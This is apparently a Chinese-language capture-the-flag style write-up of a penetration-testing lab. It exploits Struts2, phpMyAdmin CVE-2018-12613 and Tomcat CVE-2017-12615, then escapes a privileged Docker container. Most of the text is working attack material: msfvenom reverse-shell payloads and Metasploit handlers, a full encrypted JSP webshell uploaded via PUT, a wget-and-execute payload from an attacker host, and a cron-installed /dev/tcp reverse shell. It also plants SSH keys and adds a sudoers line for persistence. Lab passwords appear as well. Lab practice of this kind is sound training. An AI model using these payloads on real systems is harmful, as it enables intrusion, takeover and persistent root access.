环境搭建

创建仅主机模式子网网卡vmnet1

1
vmnet1:192.168.183.0(内)   vmnet0:192.168.157.0(外)   

WEB主机网卡设置

image-20230426134129791

WIN7主机网卡、DC主机网卡同下设置

image-20230426133052642
1
2
3
web:   ubuntu:ubuntu        192.168.        192.168.157.0
win7: douser:Dotest123
DC: administrator:Test2008

WEB主机(Ubuntu)上启动环境

1
sudo docker start ec 17 09 bb da 3d ab ad
image-20230426134446942

网站渗透

扫主机

1
nmap -sP -T4 192.168.157.0/24
image-20230426160608180

扫描端口开放情况

1
nmap -sS -p 1-65535 -A 192.168.157.0
image-20230426161731594

22端口开放SSH服务;2001使用了Struts2中间件;2002使用了Apache Tomcat中间件;2003为Apache、PhpMyadmin、mysql

Struts2

访问2001端口,是一个struts2的框架

image-20230426154829746

使用漏扫工具检测struts2有无漏洞,这里发现存在S2-045、S2-046两个漏洞

image-20230427092259454

生成msf马并上传

1
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.157.0 LPORT=4444 -f jsp > shell.jsp

msf启动监听,访问马

1
2
3
4
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 192.168.157.0
exploit

成功收到会话

phpMyadmin
  • 日志写shell,但权限低无法操作

  • 文件包含,phpMyadmin版本 4.8.1 存在 CVE-2018-12613 远程文件包含

poc

1
?target=tbl_zoom_select.php?/../../../../../../etc/hosts

image-20230426175528265

在phpmyadmin中执行的sql语句会记录到临时存放的session文件中,那么首先执行select “<?php phpinfo()?” ,然后文件包含session文件,即可利用 session 写入 shell 的方式进行 getshell

session 文件的存储路径是分为两种情况的

一是没有权限,默认存储在 /var/lib/php/sessions/ 目录下,文件名为 sess_[phpsessid],而 phpsessid 在发送的请求的 cookie 字段中可以看到

二是 phpmyadmin,这时的 session 文件存储在 /tmp 目录下,需要在 php.ini 里把 session.auto_start 置为 1,把 session.save_path 目录设置为 /tmp

直接执行 SELECT "<?php phpinfo();?>",可以看到确实被保存到了 sess_sessid 中去了

image-20230426175455289 image-20230426175637829

确定了文件包含漏洞的存在,有种方法获取权限

  • 通过php的file_put_contents函数写入php木马

  • 用php的系统函数执行系统命令或者直接php反弹shell

Tomcat任意文件写入

Tomcat CVE-2017-12615 任意文件写入

image-20230426180644719

漏洞原理
由于配置不当(非默认配置),将配置文件 conf/web.xml 中的 readonly 设置为了 false,导致可以使用 PUT 方法上传任意文件,但限制了 jsp 后缀的上传

jsp 限制绕过
但是该上传对 jsp 后缀进行简单的过滤,可以用以下三种方法进行绕过

  • 在 jsp 后缀加上 %20,即空格直接忽略
  • 在 jsp 后缀后面使用 /,因为 / 在文件名中是非法的,在 windows 和 linux 中都会自动去除
  • 在 jsp 后缀使用 Windows NTFS 流,在 jsp 后面添加::$DATA

使用 PUT 方法上传一个冰蝎马

1
2
3
4
5
6
7
8
9
10
11
PUT /2.jsp/ HTTP/1.1
Host: 192.168.157.0:2002
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 612

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
image-20230426201142308 image-20230426201127412
  • 工具一把梭

使用kali本地的exploit-db库,查找漏洞

1
searchsploit tomcat 8.5.19

poc验证

image-20230426192848459

漏洞利用

image-20230426193841016

生成linux的木马,在kali本地起一个http服务方便靶机下载

1
2
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.157.2 LPORT=4444 -f elf > shell.elf
python -m http.server 8000

下载shell.elf并赋权执行

1
2
3
wget http://192.168.157.2:8000/shell.elf
chmod 777 shell.elf
./shell.elf

使用msf接收会话,上线成功

1
2
3
4
5
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.157.2
set lport 4444
run
image-20230426195307191
docker逃逸提权

目前拿的shell都只是一个docker容器里面的shell,并不是真正ubuntu的shell,还需要进行docker逃逸到ubuntu

  • 确定在docker环境里
1
2
3
ls /.dockerenv
ip a
cat /proc/self/cgroup
image-20230426235654840
  • 确定是特权模式启动的docker

如果是通过特权模式启动容器,就可以获得大量设备文件的访问权限,因为管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

1
cat /proc/self/status|grep CapEff

image-20230426235736668

CapEff 对应的掩码值为: 0000003fffffffff ,可以用privilege特权模式逃逸

  • mount挂载设备
1
2
3
4
fdisk -l        #查看宿主机的分区
mkdir /test #docker根目录创建挂载文件夹
mount /dev/sda1 /test
cat /test/etc/passwd
image-20230426235951976
  • kali生成公私钥
1
2
ssh-keygen -f rain
chmod 600 rain

image-20230427000631977

蚁剑虚拟终端执行:

1
2
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys
echo 'rain.pub内容'>/test/home/ubuntu/.ssh/authorized_keys

image-20230427000528504

kali执行ssh连接:

1
ssh -i rain ubuntu@192.168.157.0
image-20230427000656112
  • crontab计划任务,docker逃逸

用冰蝎终端在计划任务里写入一个bash反弹shell的脚本:

1
2
3
echo "/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.2/9999 0>&1">> /test/tmp/shell.sh
chmod +x /test/tmp/shell.sh
cat /test/tmp/shell.sh

写入crontab计划任务,表示每隔两分钟以root权限执行一次计划

1
2
3
echo '*/2 * * * * root bash /tmp/shell.sh' > /test/etc/crontab
cat /test/etc/crontab
nc -lvp 9999
image-20230427102438147

获取ubuntu root权限

image-20230427100850001
  • ubuntu用命令行执行命令,在普通用户下的操作很受限,无法变成管理员权限,需要在一个文件/etc/sudoers处加入普通用户的放行语句,才可以让普通用户在ssh的情况下进行提权
1
echo 'ubuntu ALL=(ALL:ALL) ALL' >> test/etc/sudoers

image-20230427104416740

内网渗透

这部分和前面靶场的差不多